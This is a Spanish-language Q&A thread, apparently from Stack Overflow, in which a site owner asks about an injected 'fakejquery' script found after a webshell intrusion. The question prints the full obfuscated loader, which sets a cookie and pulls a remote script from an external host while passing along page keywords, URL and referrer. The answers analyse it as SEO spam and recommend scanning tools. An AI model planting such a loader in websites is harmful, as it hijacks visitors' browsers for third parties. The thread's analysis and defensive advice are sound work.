54

Recientemente mi sitio fue hackeado, los atacantes lograron subir una webshell al sitio, sin embargo ya todo fue controlado y el sitio esta seguro nuevamente.

Ahora eset nod32 me detecto un trojano fakejquery, investigando un poco pude ver que en el header de la pagina se ha insertado el siguiente script:

<script>
    var a = '';
    setTimeout(1);

    function setCookie(a, b, c) {
        var d = new Date;
        d.setTime(d.getTime() + 60 * c * 60 * 1e3);
        var e = "expires=" + d.toUTCString();
        document.cookie = a + "=" + b + "; " + e
    }

    function getCookie(a) {
        for (var b = a + "=", c = document.cookie.split(";"), d = 0; d < c
            .length; d++) {
            for (var e = c[d];
                " " == e.charAt(0);) e = e.substring(1);
            if (0 == e.indexOf(b)) return e.substring(b.length, e.length)
        }
        return null
    }
    null == getCookie("__cfgoid") && (setCookie("__cfgoid", 1, 1), 1 ==
        getCookie("__cfgoid") && (setCookie("__cfgoid", 2, 1), document.write(
            '<script type="text/javascript" src="' +
            'http://crazytime.home.pl/js/jquery.min.php' + '?key=b64' +
            '&utm_campaign=' + 'I92930' + '&utm_source=' + window.location.host +
            '&utm_medium=' + '&utm_content=' + window.location +
            '&utm_term=' + encodeURIComponent(
                ((k = (function() {
                        var keywords = '';
                        var metas = document.getElementsByTagName('meta');
                        if (metas) {
                            for (var x = 0, y = metas.length; x < y; x++) {
                                if (metas[x].name.toLowerCase() == "keywords") {
                                    keywords += metas[x].content;
                                }
                            }
                        }
                        return keywords !== '' ? keywords : null;
                    })()) == null ? (v = window.location.search.match(
                        /utm_term=([^&]+)/)) == null ? (t = document.title) == null ?
                    '' : t : v[1] : k)) + '&se_referrer=' + encodeURIComponent(
                document.referrer) + '"><' + '/script>')));
</script>

Por lo que entiendo el script anterior esta generando tráfico a un sitio externo.

Ya eliminé todo este código del sitio, pero me quedo la duda de lo que realmente hace este código.

Mi pregunta es: ¿Estoy en lo correcto al pensar que se está generando trafico a un sitio externo, o el código compartido anteriormente hace algo adicional?

Ruslan López
  • 10,060
  • 11
  • 35
  • 68
Juan Pinzón
  • 9,007
  • 18
  • 48
  • 76

3 Answers3

65

Has sido víctima de Black Hat SEO y creo que más específicamente la técnica Spamming Keywords que consiste en rellenar el contenido de un sitio web con palabras claves spammeando dicho contenido. Esto también es conocido cómo Keyword stuffing o Spamdexing.

Todas estas técnicas tienen como objetivo alterar el ranking del sitio en los motores de búsqueda y esto es un arma de doble filo pues los motores de búsqueda cuentan con herramientas para detectar dicho spam y pueden eliminar tu página del ranking como consecuencia.

Muchos motores de búsqueda revisan si existe spamdexing y eliminan de sus índices las páginas sospechosas.

Esta parte

document.write('<script type="text/javascript" src="' +

     /**** Esta es la url a donde va el tráfico ***/

     'http://crazytime.home.pl/js/jquery.min.php' + 

     '?key=b64' + '&utm_campaign=' + 'I92930' + '&utm_source=' +
      window.location.host + '&utm_medium=' + '&utm_content=' + 
      window.location + '&utm_term=' ..........

Está creando un script que intentará cargar una página externa y está usando los keywords e incluso el título de tu propia página para pasarselos por parámetros en la query

Este fragmento lo prueba

var k = (function() {
  var keywords = '';
  var metas = document.getElementsByTagName('meta');
  if (metas) {
    for (var x = 0, y = metas.length; x < y; x++) {
      if (metas[x].name.toLowerCase() == "keywords") {
        keywords += metas[x].content;
      }
    }
  }
  return keywords !== '' ? keywords : null;
})();

console.log(k);
<!DOCTYPE html>
<html>

<head>
  <meta name="keywords" content="hello world">
  <meta name="keywords" content="hola mundo">
</head>

<body>

</body>

</html>

Además está leyendo el referrer de tu página y lo está enviando

'&se_referrer=' + encodeURIComponent(document.referrer);

Por último y más importante esta guardando cookies("__cfgoid") en los navegadores de las personas que usen tu sitio.

function setCookie(a, b, c) {
  var d = new Date;
  d.setTime(d.getTime() + 60 * c * 60 * 1e3);
  var e = "expires=" + d.toUTCString();
  document.cookie = a + "=" + b + "; " + e
}

Te recomiendo que, ahora que contuviste la amenaza, escribas tu otro script para limpiar dicha cookie.

devconcept
  • 12,541
  • 3
  • 39
  • 56
  • 3
    Tienes toda la razón, ahora me pongo en la tarea de eliminar esa cookie, excelente respuesta!!! – Juan Pinzón Oct 17 '16 at 22:48
  • 1
    @JuanPinzón La escribí con algo de apuro. Aquí tienes un update que te da mejor información sobre lo que ocurrió realmente. Cuando logre revisar el script que se descarga te puedo dar más información. – devconcept Oct 18 '16 at 12:31
  • yo tu eliminaria todas las cookies que no son de tu dominio... y comienza a authenticar las cookies – ArcanisGK507 Mar 08 '21 at 19:40
20

Utiliza esto: http://virustotal.com Te servirá para escanear archivos maliciosos y URLs que creas que hay malware o cosas no seguras.

Lo curioso es que la URL ya ha sido analizada, inicialmente me ha lanzado:

URL already analysed

This URL was last analysed by VirusTotal on 2016-01-01 07:12:28 UTC, it was first analysed by VirusTotal on 2016-01-01 07:12:28 UTC.

Detection ratio: 0/66

You can take a look at the last analysis or analyse it again now.

Sin embargo al analizar nuevamente:

URL:    http://crazytime.home.pl/js/jquery.min.php
Detection ratio:    1 / 68
Analysis date:  2016-10-17 22:27:58 UTC ( 0 minutes ago )
File scan:  Go to downloaded file analysis

Resultado:

https://virustotal.com/en/url/50464e88f0c2600be82edb631148a37660856f4ddae633de110dc3d6fdc43266/analysis/1476743278/

Ahora, por otro lado, en el public_html ten esta utilidad a la mano: https://github.com/emposha/PHP-Shell-Detector

fredyfx
  • 11,989
  • 10
  • 30
  • 58
3

El ataque que sufriste es que subieron un archivo PHP y envían el trafico de tu sitio web a terceros de publicidad o demás, lo que te recomiendo esque cheques todos los permisos de las carpetas de tu servidor para comprobar que alguna carpeta este con servicio de escritura, que por ahí están subiendo archivos ahí, y desde ahi efectúan el ataque, a mi me paso una vez sobre hackear facebook sin programas y bueno tuve que fijarme todos los permisos de mi servidor. Y si tuve problemas con los permisos, por eso te digo que empiezas por ahí.

Erick mid
  • 31
  • 1